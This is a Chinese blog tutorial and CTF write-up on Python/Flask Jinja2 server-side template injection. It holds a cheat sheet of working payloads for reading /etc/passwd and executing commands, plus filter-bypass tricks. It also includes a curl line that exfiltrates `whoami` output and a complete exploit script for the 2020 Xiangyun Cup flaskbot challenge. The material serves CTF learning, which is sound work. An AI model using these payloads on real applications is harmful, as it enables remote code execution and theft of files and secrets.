ctf中的python ssti
文章最后更新时间为:2020年12月05日 17:05:59
好久没打ctf了,最近打了场,感觉有些trick还是需要记下来。
1.什么是ssti
ssti服务端模板注入,和sql注入没什么区别,本质上都属于输入可控,注入代码,然后执行。
ssti不仅存在于某一种语言,很多模板渲染引擎都可以执行代码。以python为例,看一个简单的例子:
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
name = request.args.get("name")
template = '''
<div class="center-content error">
<h1>Hello, %s</h1>
</div>
''' %(name)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
经典的flask,访问test页面:
可以看到我们输入的{{"1"+"2"}}
被解析了,漏洞成因在于:render_template_string
函数在渲染模板的时候使用了%s来动态的替换字符串,Flask 中使用了Jinja2 作为模板渲染引擎,{{}}
在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}
包裹的内容当做变量解析替换。比如{{"1"+"2"}}
会被解析成12
。
2. ctf中python中的ssti
当发现某个地方有ssti的时候,一般有两种思路
- 读取配置文件
- 执行系统命令
2.1 读取配置
pythonweb框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。有的ctf会把flag放进config中,或者将敏感信息放到全局配置中,比如我们可以通过{{config}}读取配置文件。
2.2 执行命令
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
- __dict__:保存类实例或对象实例的属性变量键值对字典
- __class__:返回调用的参数类型
- __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- __bases__:返回类型列表
- __subclasses__:返回object的子类
- __init__:类的初始化方法
- __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
base 和 mro 都是用来寻找基类的。
基本流程是:
- 随便找一个内置类对象用__class__拿到他所对应的类
- 用__bases__拿到基类(
) - 用__subclasses__()拿到子类列表
- 在子类列表中直接寻找可以利用的类getshell。
比如我们要python2读取一个文件:
找到基类object
''.__class__.__mro__[-1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[8] #jinjia2/flask 适用 [9] >>> ''.__class__.__mro__[-1] <type 'object'>
- 获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
>>> {}.__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
object.__subclasses__()[59]
>>> {}.__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
init初始化类,然后globals全局来查找所有的方法及变量及参数。
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__
查看其引用__builtins__
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']
- 这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
如何发掘可用的payload,比如我们要执行命令
#python2/3
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'eval' in item.__init__.__globals__['__builtins__']:
print(num, item)
num+=1
except:
num+=1
-->
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(71, <class 'site._Printer'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
-->
{}.__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
常用的payload:
- 读文件
python2
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
{}.__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
python3
在python3中file类被删除了,所以可以通过执行命令读写文件。
- 执行命令
python2
# 1 使用os下的popen
{}.__class__.__bases__[0].__subclasses__()[71].__init__.__globals__["os"].popen('whoami').read()
# 2 使用__builtins__下的eval
{}.__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
# 3 利用warnings.catch_warnings 进行命令执行
查看warnings.catch_warnings方法的位置
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
查看linecatch的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
查找os模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144
调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
# 4 利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
python3
# 1 直接使用popen, os._wrap_close类里有popen
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()
# 2 使用__builtins__下的eval
{}.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
# 3 使用commands
{}.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
3. python ssti 绕过技巧
3.1 过滤中括号[]
- getitem()
>>> "".__class__.__mro__[2]
<type 'object'>
>>> "".__class__.__mro__.__getitem__(2)
<type 'object'>
- pop()
{}.__class__.__bases__[0].__subclasses__().pop(40)("/etc/passwd").read()
3.2 过滤某些关键字
- base64
# 编码属性__class__
{}.__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
-->
{}.__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()
# 编码参数
{}.__class__.__bases__[0].__subclasses__()[40]("L2V0Yy9wYXNzd2Q=".decode('base64')).read()
- 字符串拼接绕过
{}.__getattribute__('__c'+'lass__').__base__[0].__subclasses__()[40]("/etc/passwd").read()
{}.__class__.__bases__[0].__subclasses__()[40]("/etc"+"/passwd").read()
3.3 过滤引号
- 先获取chr函数,赋值给chr,后面拼接字符串
{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}
- 利用requests.args
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
将其中的request.args改为request.values则利用post的方式进行传参
().__class__.__bases__[0].__subclasses__()[40](request.args.path).read()}}&path=/etc/passwd
执行命令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen(request.args.cmd).read()}}&cmd=whoami
3.4 过滤双下划线
利用 request.args 的属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
3.5 过滤双大括号{{
dns外带+if条件句
{% if ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:4444/?i=`whoami`').read()=='p' %}1{% endif %}
4. 2020祥云杯flaskbot wp
题目是考察python flask,关键源码如下:
@app.route('/',methods=['POST','GET'])
def Hello():
if request.method == "POST":
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello")
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888)
首先输入用户名name,然后输入num,如果num符合条件,则return render_template_string(guessNum(num,name))
。
num的绕过可以使用NaN,之后就是name构造了,首先输入name = {{config}},发现输出了config。
['Wow! <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}> win.']
获取基类
name={{''.__class__.__mro__[2]}}
<type 'object'>
读文件
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}
尝试命令执行,发现过滤了eval os popen system import request * flag...
到os
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']}}
到执行os
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]("ls").read()}}
发现有一个start.sh,cat看看
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]("cat start.sh").read()}}
内容:
flagfile=/super_secret_flag.txt
if [ ${ICQ_FLAG} ];then
if [ "$flagfile"x = "/super_secret_flag.txtx" ];then
echo ${ICQ_FLAG} > ${flagfile}
chmod 755 ${flagfile}
else
#sed -i "s/flag{x*}/${ICQ_FLAG}/" $flagfile
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" $flagfile
#mysql -uroot -proot nXXXX < $flagfile
fi
echo [+] sed flag OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi
好家伙 ;flag位置找到了,但是flag是黑名单,我怎么cat flag呢,base64解码一下好了
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]('Y2F0IC9zdXBlcl9zZWNyZXRfZmxhZy50eHQ='.decode('ba'+'se64')).read()}}
最终利用脚本:
import requests
import re
from html.parser import HTMLParser
import html
url = "http://eci-2zebigmdhrm148g9pri8.cloudeci1.ichunqiu.com:8888"
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
data1 = """\
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]('Y2F0IC9zdXBlcl9zZWNyZXRfZmxhZy50eHQ='.decode('ba'+'se64')).read()}}\
"""
r = requests.post(url, headers=headers, data=data1)
headers = {
"Cookie":r.headers['Set-Cookie']
}
data2 = {'num': 'nan'}
r = requests.post(url+"/guess",headers=headers,data=data2)
pattern = re.compile('Wow!([\s\S]*)win.')
result1 = pattern.findall(r.text)
# print(r.text)
if len(result1)>0:
print(html.unescape(result1[0]))
else:
print("no result")
参考文章: